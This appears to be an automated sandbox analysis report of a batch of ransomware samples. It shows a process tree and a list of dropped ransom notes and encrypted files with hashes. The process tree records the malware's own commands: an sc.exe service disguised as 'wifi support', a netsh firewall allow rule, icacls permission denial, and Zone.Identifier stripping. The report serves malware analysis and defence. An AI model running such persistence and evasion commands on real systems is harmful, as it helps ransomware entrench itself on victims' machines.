                                                                                                              • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.PolyRansom.gen-6f9999a53022f6d22beabb39406e849e3cbbd76e645f2148386ed89fbb94a133.exe
                                                                                                                HEUR-Trojan-Ransom.Win32.PolyRansom.gen-6f9999a53022f6d22beabb39406e849e3cbbd76e645f2148386ed89fbb94a133.exe
                                                                                                                3⤵
                                                                                                                  PID:5772
                                                                                                                • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Stop.gen-144c5a85c642ef1376771a548acd625f4b980415c55d3acd098964ac7f8d5322.exe
                                                                                                                  HEUR-Trojan-Ransom.Win32.Stop.gen-144c5a85c642ef1376771a548acd625f4b980415c55d3acd098964ac7f8d5322.exe
                                                                                                                  3⤵
                                                                                                                    PID:6040
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\cmcfetgx\
                                                                                                                      4⤵
                                                                                                                        PID:5376
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\neahyxbf.exe" C:\Windows\SysWOW64\cmcfetgx\
                                                                                                                        4⤵
                                                                                                                          PID:5600
                                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                                          "C:\Windows\System32\sc.exe" create cmcfetgx binPath= "C:\Windows\SysWOW64\cmcfetgx\neahyxbf.exe /d\"C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Stop.gen-144c5a85c642ef1376771a548acd625f4b980415c55d3acd098964ac7f8d5322.exe\"" type= own start= auto DisplayName= "wifi support"
                                                                                                                          4⤵
                                                                                                                          • Launches sc.exe
                                                                                                                          PID:5664
                                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                                          "C:\Windows\System32\sc.exe" description cmcfetgx "wifi internet conection"
                                                                                                                          4⤵
                                                                                                                          • Launches sc.exe
                                                                                                                          PID:2000
                                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                                          "C:\Windows\System32\sc.exe" start cmcfetgx
                                                                                                                          4⤵
                                                                                                                          • Launches sc.exe
                                                                                                                          PID:6140
                                                                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                                                                          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                                                                                                          4⤵
                                                                                                                          • Modifies Windows Firewall
                                                                                                                          PID:3764
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 6040 -s 1104
                                                                                                                          4⤵
                                                                                                                          • Program crash
                                                                                                                          PID:4172
                                                                                                                      • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Stop.gen-e4a3bedf9b6eb73e8358ef9668d05bb72b3c8c8c8f26ccedeba1495ffba0bc36.exe
                                                                                                                        HEUR-Trojan-Ransom.Win32.Stop.gen-e4a3bedf9b6eb73e8358ef9668d05bb72b3c8c8c8f26ccedeba1495ffba0bc36.exe
                                                                                                                        3⤵
                                                                                                                          PID:2356
                                                                                                                          • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Stop.gen-e4a3bedf9b6eb73e8358ef9668d05bb72b3c8c8c8f26ccedeba1495ffba0bc36.exe
                                                                                                                            HEUR-Trojan-Ransom.Win32.Stop.gen-e4a3bedf9b6eb73e8358ef9668d05bb72b3c8c8c8f26ccedeba1495ffba0bc36.exe
                                                                                                                            4⤵
                                                                                                                              PID:508
                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                icacls "C:\Users\Admin\AppData\Local\4b6bcf10-cffe-4641-9f08-9d974bf57469" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                                                                                5⤵
                                                                                                                                • Modifies file permissions
                                                                                                                                PID:5200
                                                                                                                              • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Stop.gen-e4a3bedf9b6eb73e8358ef9668d05bb72b3c8c8c8f26ccedeba1495ffba0bc36.exe
                                                                                                                                "C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Stop.gen-e4a3bedf9b6eb73e8358ef9668d05bb72b3c8c8c8f26ccedeba1495ffba0bc36.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                5⤵
                                                                                                                                  PID:844
                                                                                                                                  • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Stop.gen-e4a3bedf9b6eb73e8358ef9668d05bb72b3c8c8c8f26ccedeba1495ffba0bc36.exe
                                                                                                                                    "C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Stop.gen-e4a3bedf9b6eb73e8358ef9668d05bb72b3c8c8c8f26ccedeba1495ffba0bc36.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                    6⤵
                                                                                                                                      PID:6044
                                                                                                                              • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.Agent.iza-3ff29804ebf38bb4dd80985971848dae2136e55bd60dca68984ebbe9b670a719.exe
                                                                                                                                Trojan-Ransom.Win32.Agent.iza-3ff29804ebf38bb4dd80985971848dae2136e55bd60dca68984ebbe9b670a719.exe
                                                                                                                                3⤵
                                                                                                                                  PID:492
                                                                                                                                  • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.Agent.iza-3ff29804ebf38bb4dd80985971848dae2136e55bd60dca68984ebbe9b670a719.exe
                                                                                                                                    C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.Agent.iza-3ff29804ebf38bb4dd80985971848dae2136e55bd60dca68984ebbe9b670a719.exe /AutoIt3ExecuteScript "C:\Users\Admin\AppData\Local\Temp\delph1.dat"
                                                                                                                                    4⤵
                                                                                                                                      PID:1964
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /C echo. > "C:\Users\Admin\AppData\Roaming\Isass.exe":Zone.Identifier
                                                                                                                                        5⤵
                                                                                                                                          PID:5660
                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Isass.exe
                                                                                                                                          C:\Users\Admin\AppData\Roaming\Isass.exe
                                                                                                                                          5⤵
                                                                                                                                            PID:664
                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Isass.exe
                                                                                                                                              C:\Users\Admin\AppData\Roaming\Isass.exe /AutoIt3ExecuteScript "C:\Users\Admin\AppData\Local\Temp\delph1.dat"
                                                                                                                                              6⤵
                                                                                                                                                PID:3624
                                                                                                                                        • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.Bitman.qkb-dbee083dc340bc7c92ab2f4ce3fb988400cbe4f50c5e4c429ed4b0c53b62bd2c.exe
                                                                                                                                          Trojan-Ransom.Win32.Bitman.qkb-dbee083dc340bc7c92ab2f4ce3fb988400cbe4f50c5e4c429ed4b0c53b62bd2c.exe
                                                                                                                                          3⤵
                                                                                                                                            PID:248
                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 248 -s 160
                                                                                                                                              4⤵
                                                                                                                                              • Program crash
                                                                                                                                              PID:5924
                                                                                                                                          • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.Bitman.wsc-6aba0494180fbde7a85fa184c1fa767df1bfd4bca92101b737ee9774226bda81.exe
                                                                                                                                            Trojan-Ransom.Win32.Bitman.wsc-6aba0494180fbde7a85fa184c1fa767df1bfd4bca92101b737ee9774226bda81.exe
                                                                                                                                            3⤵
                                                                                                                                              PID:3008
                                                                                                                                              • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.Bitman.wsc-6aba0494180fbde7a85fa184c1fa767df1bfd4bca92101b737ee9774226bda81.exe
                                                                                                                                                Trojan-Ransom.Win32.Bitman.wsc-6aba0494180fbde7a85fa184c1fa767df1bfd4bca92101b737ee9774226bda81.exe
                                                                                                                                                4⤵
                                                                                                                                                  PID:11136
                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\wlrmdr.exe
                                                                                                                                                    C:\Users\Admin\AppData\Roaming\wlrmdr.exe
                                                                                                                                                    5⤵
                                                                                                                                                      PID:9944
                                                                                                                                                • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.Blocker.iyjg-a96b98a3c0278ce4bbf7f3c526110e1b4bbf9ee3f0fec882f67b0c3c5c8bf0ba.exe
                                                                                                                                                  Trojan-Ransom.Win32.Blocker.iyjg-a96b98a3c0278ce4bbf7f3c526110e1b4bbf9ee3f0fec882f67b0c3c5c8bf0ba.exe
                                                                                                                                                  3⤵
                                                                                                                                                    PID:5672
                                                                                                                                                  • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.Blocker.jgb-9778caaff1491f25f0a7ba31889bdecacb71ddf7a0d169f44500c35d8c6782bf.exe
                                                                                                                                                    Trojan-Ransom.Win32.Blocker.jgb-9778caaff1491f25f0a7ba31889bdecacb71ddf7a0d169f44500c35d8c6782bf.exe
                                                                                                                                                    3⤵
                                                                                                                                                      PID:1636
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Rar$EX7.src777\achsv.exe
                                                                                                                                                        \\.\C:\Users\Admin\AppData\Local\Temp\Rar$EX7.src777\achsv.exe
                                                                                                                                                        4⤵
                                                                                                                                                          PID:1776
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Rar$EX7.src777\COM7.EXE
                                                                                                                                                            \\.\C:\Users\Admin\AppData\Local\Temp\Rar$EX7.src777\COM7.EXE
                                                                                                                                                            5⤵
                                                                                                                                                              PID:10928
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Rar$EX7.src777\COM7.EXE
                                                                                                                                                            \\.\C:\Users\Admin\AppData\Local\Temp\Rar$EX7.src777\COM7.EXE
                                                                                                                                                            4⤵
                                                                                                                                                              PID:628
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\Rar$EX7.src777\achsv.exe
                                                                                                                                                                \\.\C:\Users\Admin\AppData\Local\Temp\Rar$EX7.src777\achsv.exe
                                                                                                                                                                5⤵
                                                                                                                                                                  PID:10920
                                                                                                                                                            • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.Blocker.mgn-ecf5d43183730ceed0db34e357103937a4e6fbb09eb0a2359cb320a899a32231.exe
                                                                                                                                                              Trojan-Ransom.Win32.Blocker.mgn-ecf5d43183730ceed0db34e357103937a4e6fbb09eb0a2359cb320a899a32231.exe
                                                                                                                                                              3⤵
                                                                                                                                                                PID:5252
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Rar$EX7.sr77\ashcv.exe
                                                                                                                                                                  \\.\C:\Users\Admin\AppData\Local\Temp\Rar$EX7.sr77\ashcv.exe
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:5500
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Rar$EX7.sr77\COM7.EXE
                                                                                                                                                                      \\.\C:\Users\Admin\AppData\Local\Temp\Rar$EX7.sr77\COM7.EXE
                                                                                                                                                                      5⤵
                                                                                                                                                                        PID:11224
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Rar$EX7.sr77\COM7.EXE
                                                                                                                                                                      \\.\C:\Users\Admin\AppData\Local\Temp\Rar$EX7.sr77\COM7.EXE
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:6092
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Rar$EX7.sr77\ashcv.exe
                                                                                                                                                                          \\.\C:\Users\Admin\AppData\Local\Temp\Rar$EX7.sr77\ashcv.exe
                                                                                                                                                                          5⤵
                                                                                                                                                                            PID:7492
                                                                                                                                                                      • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.Blocker.ncko-f338884752cdfa1356b7edaef0d2bccaa2df7feba0a3d7576cb714e16e8447c6.exe
                                                                                                                                                                        Trojan-Ransom.Win32.Blocker.ncko-f338884752cdfa1356b7edaef0d2bccaa2df7feba0a3d7576cb714e16e8447c6.exe
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:5308
                                                                                                                                                                        • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.Blocker.ncle-872f15d2c2621269b2574d82afa8b8d2fe15471dfb7a7b9631f1207a631472a2.exe
                                                                                                                                                                          Trojan-Ransom.Win32.Blocker.ncle-872f15d2c2621269b2574d82afa8b8d2fe15471dfb7a7b9631f1207a631472a2.exe
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:4652
                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.Blocker.nfok-de78b27e6358929f894bd79354168a2c17d259fd730a3df40f118c9735808303.exe
                                                                                                                                                                            Trojan-Ransom.Win32.Blocker.nfok-de78b27e6358929f894bd79354168a2c17d259fd730a3df40f118c9735808303.exe
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:5996
                                                                                                                                                                            • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.Blocker.ngna-3666316716fdd6f6dcffd23dc1b30c9f2b664336698e248ed52d0b6d499106bb.exe
                                                                                                                                                                              Trojan-Ransom.Win32.Blocker.ngna-3666316716fdd6f6dcffd23dc1b30c9f2b664336698e248ed52d0b6d499106bb.exe
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:3972
                                                                                                                                                                              • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.Cryptodef.aoo-0f44655bda32c5bac1d24c46ae08999072a6aa140470129d13a8bf0686b66f2c.exe
                                                                                                                                                                                Trojan-Ransom.Win32.Cryptodef.aoo-0f44655bda32c5bac1d24c46ae08999072a6aa140470129d13a8bf0686b66f2c.exe
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:7292
                                                                                                                                                                                • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.Cryptodef.aoo-62573c8d9dcfe5b7ba9fd8f98d5e905c8c8db6deda9cf02ae5be7c31479b67de.exe
                                                                                                                                                                                  Trojan-Ransom.Win32.Cryptodef.aoo-62573c8d9dcfe5b7ba9fd8f98d5e905c8c8db6deda9cf02ae5be7c31479b67de.exe
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:11116
                                                                                                                                                                                  • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.Cryptodef.jj-03467f231a3fce6795545ae99a6dad161effa3bf681031693815eabf1648ee66.exe
                                                                                                                                                                                    Trojan-Ransom.Win32.Cryptodef.jj-03467f231a3fce6795545ae99a6dad161effa3bf681031693815eabf1648ee66.exe
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:4892
                                                                                                                                                                                      • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                        "C:\Windows\syswow64\explorer.exe"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                          PID:7148
                                                                                                                                                                                          • C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                            -k netsvcs
                                                                                                                                                                                            5⤵
                                                                                                                                                                                              PID:6792
                                                                                                                                                                                        • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.Foreign.njky-f0cd3107d3367d431383ce6144e8ffa0e56a6676ba599749b1b127983e767d8f.exe
                                                                                                                                                                                          Trojan-Ransom.Win32.Foreign.njky-f0cd3107d3367d431383ce6144e8ffa0e56a6676ba599749b1b127983e767d8f.exe
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:10208
                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.GandCrypt.ate-f5a806f8dfe1ce6f8e54ef7668b94f78b937a4032650ecd35e18c55327068de3.exe
                                                                                                                                                                                            Trojan-Ransom.Win32.GandCrypt.ate-f5a806f8dfe1ce6f8e54ef7668b94f78b937a4032650ecd35e18c55327068de3.exe
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:9964
                                                                                                                                                                                            • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.GandCrypt.oc-1879d405bad6a51ac71b990ed44071cc8f2874d8087993e7e36b51528de24450.exe
                                                                                                                                                                                              Trojan-Ransom.Win32.GandCrypt.oc-1879d405bad6a51ac71b990ed44071cc8f2874d8087993e7e36b51528de24450.exe
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:7408
                                                                                                                                                                                              • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.GenericCryptor.cys-a725a15d226ef451b36f7baf5ca9cc6e02813e21d267c9f64b371939a4b06a06.exe
                                                                                                                                                                                                Trojan-Ransom.Win32.GenericCryptor.cys-a725a15d226ef451b36f7baf5ca9cc6e02813e21d267c9f64b371939a4b06a06.exe
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:8376
                                                                                                                                                                                                • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.GenericCryptor.czx-cdbc98fc99f27af6a7a4e20709a2262b2273681084ea5858695eedbd879e092b.exe
                                                                                                                                                                                                  Trojan-Ransom.Win32.GenericCryptor.czx-cdbc98fc99f27af6a7a4e20709a2262b2273681084ea5858695eedbd879e092b.exe
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:7288
                                                                                                                                                                                                  • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.Gimemo.cdqu-ab1e181416fb4a785c412daac4198eb834502d9cdc994d05da63b00ab0ec6f50.exe
                                                                                                                                                                                                    Trojan-Ransom.Win32.Gimemo.cdqu-ab1e181416fb4a785c412daac4198eb834502d9cdc994d05da63b00ab0ec6f50.exe
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:8592
                                                                                                                                                                                                    • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.Locky.acy-c5b788d44ebbc95ef2eb6e84d789b8fe8fedff652c5712de6cd5ba6ae62ea221.exe
                                                                                                                                                                                                      Trojan-Ransom.Win32.Locky.acy-c5b788d44ebbc95ef2eb6e84d789b8fe8fedff652c5712de6cd5ba6ae62ea221.exe
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:5068
                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5068 -s 232
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                          PID:11116
                                                                                                                                                                                                      • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.Petr.aqv-4f585b2134ef49fce0236ae648cfff81008dbc7a677a128a7ed7072a01c17f76.exe
                                                                                                                                                                                                        Trojan-Ransom.Win32.Petr.aqv-4f585b2134ef49fce0236ae648cfff81008dbc7a677a128a7ed7072a01c17f76.exe
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:392
                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 392 -s 1172
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                            PID:12028
                                                                                                                                                                                                        • C:\Users\Admin\Desktop\00482\Trojan-Ransom.Win32.PornoBlocker.ajrm-76ce5940714505149d61567b94e169b9781cfefd8da6630ae153fac04fd28f98.exe
                                                                                                                                                                                                          Trojan-Ransom.Win32.PornoBlocker.ajrm-76ce5940714505149d61567b94e169b9781cfefd8da6630ae153fac04fd28f98.exe
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:11152
                                                                                                                                                                                                          • C:\Users\Admin\Desktop\00482\UDS-Trojan-Ransom.Win32.Blocker-3b3a46c7dd0f8e109355ac57dc1e38fcad19b197bb7e86e2e302df724227208c.exe
                                                                                                                                                                                                            UDS-Trojan-Ransom.Win32.Blocker-3b3a46c7dd0f8e109355ac57dc1e38fcad19b197bb7e86e2e302df724227208c.exe
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:9972
                                                                                                                                                                                                        • C:\Windows\system32\taskmgr.exe
                                                                                                                                                                                                          "C:\Windows\system32\taskmgr.exe" /4
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                          • Checks SCSI registry key(s)
                                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                          • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                          PID:4860
                                                                                                                                                                                                          • C:\Windows\system32\taskmgr.exe
                                                                                                                                                                                                            "C:\Windows\system32\taskmgr.exe" /1
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                            • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                            • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                            PID:4364
                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 248 -ip 248
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                            PID:2588
                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3120 -ip 3120
                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                              PID:5328
                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmcfetgx\neahyxbf.exe
                                                                                                                                                                                                              C:\Windows\SysWOW64\cmcfetgx\neahyxbf.exe /d"C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Stop.gen-144c5a85c642ef1376771a548acd625f4b980415c55d3acd098964ac7f8d5322.exe"
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                PID:3404
                                                                                                                                                                                                                • C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                  svchost.exe
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:4008
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 3404 -s 564
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                    PID:3352
                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 6040 -ip 6040
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                    PID:4368
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 248 -ip 248
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                      PID:5476
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 3404 -ip 3404
                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                        PID:3124
                                                                                                                                                                                                                      • C:\Windows\system32\OpenWith.exe
                                                                                                                                                                                                                        C:\Windows\system32\OpenWith.exe -Embedding
                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                          PID:432
                                                                                                                                                                                                                        • C:\Windows\system32\LogonUI.exe
                                                                                                                                                                                                                          "LogonUI.exe" /flags:0x4 /state0:0xa3924055 /state1:0x41c64e6d
                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                            PID:10424

                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                                                          Downloads

                                                                                                                                                                                                                          • C:\$Recycle.Bin\GET_YOUR_FILES_BACK.txt.redeem.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            db5e1b4ccd329d7ea667ea2a60dcdeac

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            6c333c8cc231a7b655c90f2057e064026bbef8ba

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            2b9ca8c9b8d890b3ad0cca60216749de40b9c9e591434f6ef5f579fbbecf4587

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            d483be28e385205ca61de591c156569cbaee00173fd7fc323570a9f1d0980e7368770c6b8ca54b5db48b1cfd0eab2d33066f565df5ca3f2a37baaf34a171aec9

                                                                                                                                                                                                                          • C:\$Recycle.Bin\Read Me.TXT.avos.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            3KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            77275d7327f965c8817350b34721a8e4

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            6c4823daef3c1ea163796f4c2652b5de8ffdd04f

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            6318506d7103ea199ced5721c757a14455132f7977a23eaa01fec05bf28f2d6e

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            3a3a9a4f69584c05c3b7f2ff0cada2cfe7b39a23ad771c7e7737fdd12959dbbaa0c9f70031d210385dee76abc1a6f5e5c40b22f06e298853398da2670a608d64

                                                                                                                                                                                                                          • C:\$Recycle.Bin\S-1-5-21-1302416131-1437503476-2806442725-1000\GET_YOUR_FILES_BACK.txt.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            479191466bd1bf2757127b649bb9ced6

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            93278db97f63926ec591337f5f843c7594db6e08

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            532f06e6d3360f169bf6b8c941dd86c5dc575b3a3a90522ecbe06d4ebc988a7b

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            3e1fc58b5758ab0217647d8e2695646d070640be2d3c9dfe1219032a3d9cf0287845e8b75a070d9708439c2eb89535efcb800e39e8c0bbdc2cddf153f31331cc

                                                                                                                                                                                                                          • C:\$Recycle.Bin\S-1-5-21-1302416131-1437503476-2806442725-1000\desktop.ini.exe

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            7.9MB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            4939fd6d602bd1a638aa9493c6ba8ff1

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            4569d4153d6149ee0eba6580df242e76c7d49e72

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            2e4aeaef654efba36bb9bb705c20aa6ce1afcbca17917177fbe6348768789493

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            9f94021ddf14299d7cfaa5ae3ec26427b087a009c922c9f0855f17ddd4c29190ece24047a7a04524f2b8eff404e731bb0b4d7cccee4c85ac24287c6a63a2a111

                                                                                                                                                                                                                          • C:\7fd7740\!! READ ME !!.txt.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            955B

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            2e4cb08515f3b40ab24008f2b5e4d0ea

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            a46b6c7b3407d8de3d86c86868b7fc34285c3516

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            f5441c95ffd1c04b822a98c4ad88812654e7cc761447aa1f7caf13874d7dfcfe

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            6008dff463e4d5ecb73f77f7e04caf853ae93c766cc43c607e60e17e84b62491cfea5739e045f5c91792772c63979c19aa6f3320553347ad0202b18ec0ac51ee

                                                                                                                                                                                                                          • C:\7fd7740\7fd7740.exe.[[email protected]][MJ-UK8039276154].lambda

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            143KB

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            47d525bde4cb5cc85e2896f70fa61d48

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            4bdc8647276d525eb9112fcbae473edbb0d81d69

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            ce1083a9ba4d690dd45005e8b299c408b783d7ba7eacb344db99eb41ca14b0c0

                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                            6a454adf22a21913c6945c4ec610a9b7e40e3f925ec6c5065662b3ef2cb0e5c9651229e742782bdb01ac501b9b7f19781ab5c0ff6e1d15459825b36129f47a0e

                                                                                                                                                                                                                          • C:\AUTORUN.INF.redeem.cuba

                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                            1B

                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                            c4ca4238a0b923820dcc509a6f75849b

                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                            356a192b7913b04c54574d18c28d46e6395428ab

                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                            6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                                                                                                                                                                                                                            SHA512

